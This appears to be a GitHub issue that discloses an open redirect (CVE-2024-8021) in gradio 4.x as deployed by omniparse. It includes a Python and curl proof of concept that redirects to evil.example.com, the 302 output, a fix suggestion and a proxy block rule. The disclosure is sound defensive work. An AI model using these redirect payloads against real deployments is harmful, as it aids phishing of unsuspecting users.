#114·omniparse

Open redirect via `/file=<URL>` on pinned gradio 4.x (CVE-2024-8021)

Author: hamizan-azmanCreated May 24, 2026Updated May 24, 2026

Describe the bug

omniparse mounts gradio routes via server.py:38 (gr.mount_gradio_app(app, demo_ui, path="")). gradio's /file= route, on every version in the 4.x line including the deployed gradio==4.44.1 (resolved from pyproject.toml:48's gradio = "^4.37.1"), unconditionally 302-redirects when the path argument looks like an HTTP URL:

python
# gradio/routes.py:431-438 in 4.44.1
@app.get("/file={path_or_url:path}", ...)
async def file(path_or_url: str, request: fastapi.Request):
    if client_utils.is_http_url_like(path_or_url):
        return RedirectResponse(url=path_or_url, status_code=status.HTTP_302_FOUND)

No allowlist, no destination validation. An attacker who can entice a user to click https://<omniparse-host>/file=http://attacker.example/phishing-page redirects the victim to the attacker URL while the address bar still shows the omniparse hostname (until the redirect lands).

Reference: CVE-2024-8021 / CWE-601 URL Redirection to Untrusted Site. Published 2025-03-20. CVSS 6.1 (medium per NVD).

The bug is not fixed in any 4.x gradio release. The /file= URL-redirect route was removed entirely in gradio 5.x (the 6.x line returns 404 for /file=<URL> requests).

CWE-601 (URL Redirection to Untrusted Site).

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N (4.3, medium). Lower than NVD's 6.1 because the impact is limited to phishing assistance rather than data exfiltration. Maintainer may refine.

To Reproduce

Tested on HEAD 9d1ae83 with uv pip install "gradio>=4.37.1,<5.0.0" resolving to gradio==4.44.1.

  1. Stand up the omniparse server (or any minimal gradio 4.x app — the bug is in the gradio framework, not in omniparse's own code):
python
import gradio as gr
iface = gr.Interface(fn=lambda x: x, inputs="text", outputs="text")
iface.launch(server_name="127.0.0.1", server_port=7885, share=False)
  1. Issue the open-redirect request:
python
import urllib.request
class NoRedirect(urllib.request.HTTPRedirectHandler):
    def http_error_302(self, req, fp, code, msg, headers): return None
    http_error_301 = http_error_303 = http_error_307 = http_error_302
opener = urllib.request.build_opener(NoRedirect)
try:
    opener.open("http://127.0.0.1:7885/file=http://evil.example.com", timeout=5)
except urllib.error.HTTPError as e:
    print(f"HTTP {e.code} {e.reason}, Location: {e.headers.get('Location')!r}")

Output:

HTTP 302 Found, Location: 'http://evil.example.com'

The Location header reflects the attacker-supplied URL verbatim. A browser following this 302 lands on http://evil.example.com.

  1. Curl equivalent for manual verification:
bash
curl -i 'http://127.0.0.1:7885/file=http://evil.example.com'

Returns:

HTTP/1.1 302 Found
location: http://evil.example.com
content-length: 0

Expected behavior

The /file= route should either reject requests where the path argument is an HTTP URL, or validate the redirect destination against an allowlist of trusted hosts. Latest gradio (5.x / 6.x) removed the URL-redirect branch entirely; the same request returns HTTP 404.

Suggested fix

Bump pyproject.toml:48 from:

gradio = "^4.37.1"

to:

gradio = "^5.0.0"

or to the current 6.x line.

Caveat: gradio 5.x removed the /file=URL route and restructured the static-file serving API. If any of omniparse's own code (or downstream tooling embedded in the README markdown via /file=) relies on the 4.x file-serving semantics, the upgrade will require a small migration. The 5.x migration guide is at https://www.gradio.app/guides/upgrading-to-gradio-5.

If a same-major (4.x) workaround is needed temporarily, a reverse proxy in front of omniparse can drop requests matching ^/file=https?://. This is a stopgap, not a fix.

Additional context

  • omniparse pins gradio = "^4.37.1" (pyproject.toml:48). uv pip install resolves to 4.44.1 today; the bug fires on this and on every 4.x release.
  • I tested empirically on GPU03: PoC fires on gradio 4.44.1 with the expected Location header echo; PoC returns 404 on gradio 6.14.0 (latest).
  • The audit pass that produced the original lib2app draft cited 3 additional CVEs in this cluster (CVE-2024-4941 LFI, CVE-2024-0964 LFI, CVE-2024-1727 CORS) plus a non-existent cat_proof SSRF helper. All 3 CVEs are patched in gradio 4.31.4+ (my empirical Run on 4.44.1 returned HTTP 500 for the literal CVE-2024-4941 PoC, confirming the check_all_files_in_cache fix is active). The cat_proof claim was a draft error; no such helper exists in omniparse. This filing covers only CVE-2024-8021 because it is the only one that empirically fires on the deployed pin.
  • No prior issue in this repository covers CVE-2024-8021 (issue #113 covers a different gradio CVE about multipart parser DoS).